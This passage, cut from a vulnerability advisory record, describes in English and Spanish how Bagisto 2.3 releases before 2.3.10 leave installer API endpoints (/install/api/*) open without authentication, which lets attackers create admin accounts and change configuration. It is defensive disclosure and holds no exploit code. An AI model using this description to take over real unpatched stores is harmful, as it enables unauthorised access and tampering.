In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue."}, {"lang": "es", "value": "Bagisto es una plataforma de comercio electrónico laravel de código abierto. En versiones de la rama 2.3 anteriores a la 2.3.10, las rutas de la API permanecen activas incluso después de que la instalación inicial se haya completado. Los endpoints de la API subyacentes ('/install/api/*') son directamente accesibles y explotables sin ninguna autenticación. Un atacante puede omitir el instalador de Ib por completo llamando directamente a los endpoints de la API.
